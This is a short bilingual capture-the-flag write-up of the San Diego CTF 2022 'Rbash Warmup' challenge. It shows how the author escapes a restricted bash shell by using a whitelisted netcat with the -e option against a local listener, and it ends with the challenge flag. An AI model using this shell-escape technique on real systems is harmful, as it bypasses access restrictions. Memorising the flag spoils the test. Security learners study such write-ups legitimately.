Rbash Warmup
TCPサーバの接続情報が与えられ、/flag
を実行することを要求された。
Tera Term でサーバに接続し、以下のようにコマンドを試してみた。
Information to connnect to a TCP server was given, and we were asked to execute /flag
.
I connected to the server using Tera Term and tried following commands.
== proof-of-work: disabled ==
rbash-5.0$ ls
rbash: ls: command not found
rbash-5.0$ /flag
rbash: /flag: restricted: cannot specify `/' in command names
rbash-5.0$ cd ../..
rbash: cd: restricted
rbash-5.0$ echo `< /flag`
rbash: /flag: Permission denied
rbash-5.0$ echo $PATH
/home/user/whitelist
rbash-5.0$ pwd
/home/user
rbash-5.0$ echo whitelist/*
whitelist/nc
その結果、nc
コマンドが使えそうであることがわかった。
nc
のヘルプを出力してみると、その冒頭部分は以下のようになった。
As a result, I found that nc
command is available.
I tried printing the help of nc
. The first part of that is:
rbash-5.0$ nc -h
[v1.10-41.1ubuntu1]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-c shell commands as `-e'; use /bin/sh to exec [dangerous!!]
-e filename program to exec after connect [dangerous!!]
ここから、nc
はサーバの機能もクライアントの機能もあること、そして -e
オプションを用いてプログラムを実行できそうであることがわかった。
以下のようにCtrl+Zを用いてサーバをバックグラウンドで実行し、続いて -e
オプションをつけたクライアントで接続することで、flagが得られた。
From this part, I found that nc
can work both as a server and as a client, and that it can execute a program using -e
option.
I obtained the flag by executing the server in the background using Ctrl+Z, and then connecting to the server with -e
option like this:
rbash-5.0$ nc -l -p 9999
^Z
[1]+ Stopped nc -l -p 9999
rbash-5.0$ bg
[1]+ nc -l -p 9999 &
rbash-5.0$ nc -e /flag 127.0.0.1 9999
rbash-5.0$ sdctf{nc--e-IS-r3aLLy-D4NG3R0U5!}
sdctf{nc--e-IS-r3aLLy-D4NG3R0U5!}
San Diego CTF 2022